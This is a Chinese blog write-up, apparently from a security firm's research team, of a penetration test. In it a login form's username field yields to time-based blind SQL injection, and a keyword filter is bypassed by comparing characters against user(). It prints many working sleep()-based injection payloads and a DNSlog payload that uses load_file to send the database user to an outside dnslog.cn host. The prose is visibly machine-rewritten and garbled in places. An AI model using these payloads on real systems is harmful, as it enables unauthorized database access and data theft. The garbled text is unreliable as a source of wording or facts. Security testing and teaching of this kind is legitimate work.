安全生产技术 | 一次众测实战演练sql注入绕开

SQL注入即就是指web应用程序流程对客户键入数据信息的合理合法沒有分辨或过虑关不紧,网络攻击能够在web应用程序流程中事前界定好的查看句子的末尾上加上附加的SQL句子,在管理人员不知道的状况...

SQL注入即就是指web应用程序流程对客户键入数据信息的合理合法沒有分辨或过虑关不紧,网络攻击能够在web应用程序流程中事前界定好的查看句子的末尾上加上附加的SQL句子,在管理人员不知道的状况下完成操作错误,为此来完成蒙骗数据库查询网络服务器实行非受权的随意查看,进而进一步获得相对的数据信息。文中由锦行高新科技的安全性科学研究精英团队出示,致力于协助顾客了解sql注入绕开的难题。

在一次检测全过程中,发觉登录框的用户名处存有廷时注入。

打开bp抓包软件,随意键入用户名和登陆密码,点一下登录,抓到下列数据文件

经检测,Uname主要参数存有sql廷时注入

在后面再加上

'and(select*from(select sleep(5))a)and'a'='

发觉延迟10秒

在后面再加上

'and(select*from(select sleep(3))a)and'a'='

发觉延迟6秒

依据上边图得知,sleep(5)时,回显時间为10秒;sleep(3)时,回显時间为6秒,显著存有sql注入,猜想数据库查询干了2次查看或是查到两根同样的数据信息。

再明确存有注入点以后,以后应用sqlmap来跑数据信息,发觉没法成功注入,很有可能存有拦截或是过虑。因此只能依靠手工制作去检测发现问题。

a. 应用'and(select*from(select sleep(if(1=1,1,3)))a)and'a'='去检测,发觉延迟2秒,表明if函数沒有被拦截

b. 再次应用'and(select*from(select sleep(if(user()='a',1,3)))a)and'a'='去检测,发觉延迟六秒,表明user涵数沒有被拦截

c. 再次应用'and(select*from(select sleep(if(substr(user(),1,1)='a',1,3)))a)and'a'='去检测,发觉没延迟,表明substr被拦截了,然后我应用mid、substring来更换substr涵数均被拦截

d. 再次应用'and(select*from(select sleep(if(user() like 'a%',1,3)))a)and'a'='去检测,发觉没延迟,表明mid、substring、like被拦截了

见到这种重要涵数都没拦截了,根据if断开的方式来检测是要凉了,那么就试试根据dnslog携带的方法把数据信息给带出来。

e. 应用payload:'and(select*from(select sleep(load_file(concat('//',(select user()),'.xxx.dnslog.cn/abc'))))a)and'a'=',发觉dnslog服务平台也没反应

最终历经各种各样检测,发觉根据逐字母较为ascii码的方式能绕开上边上述的编码层的拦截,因此要用以下这类方式绕开。

实际注入payload以下:

'and(select*from(select sleep(if(user()>'d',3,0)))a)and'a'='

用以上payload的意思是较为用户名的第一位的ascii码是否超过或是相当于d的ascii码

Ascii时速表以下:

在数据库查询中检测:

先后从左往右较为ascii码,例如拿select ‘rooT’>’ro’而言,由于他们两的前俩位相同,会较为到第三位,rooT的第三位为o,而ro的第三位是空,因此rooT自然超过ro。

依据上边状况,大家分辨用户名第一位字母的情况下,能够分成以下3步

流程一:

payload:

'and(select*from(select sleep(if(user()>'c',3,0)))a)and'a'=' ,

延迟为6秒,表明为true,用户名的第一位字母的ascii码相匹配大于或等于c字母的ascii码,即大于或等于99

流程二:

当payload为

'and(select*from(select sleep(if(user()>'d',3,0)))a)and'a'=' ,

延迟为6秒,表明也为true,用户名的第一位字母的ascii码相匹配大于或等于d字母的ascii码,即大于或等于100

流程三:

当payload为'and(select*from(select sleep(if(user()>'e',3,0)))a)and'a'=' ,

延迟为0秒,表明为false,用户名的第一位字母的ascii码相匹配低于e字母的ascii码,即低于101

最终依据結果剖析:

依据流程二,用户名第一位字母的ascii码超过或是相当于100;

依据流程三,用户名的第一位字母的ascii码低于101,

最终得到用户名第一位字母的ascii码为100,即字母d.

依次类推,最终得到用户名为dctok

  • 发表于 2021-04-08 12:01
  • 阅读 ( 176 )
  • 分类:互联网

0 条评论

请先 登录 后评论
马超
马超

678 篇文章

你可能感兴趣的文章

相关问题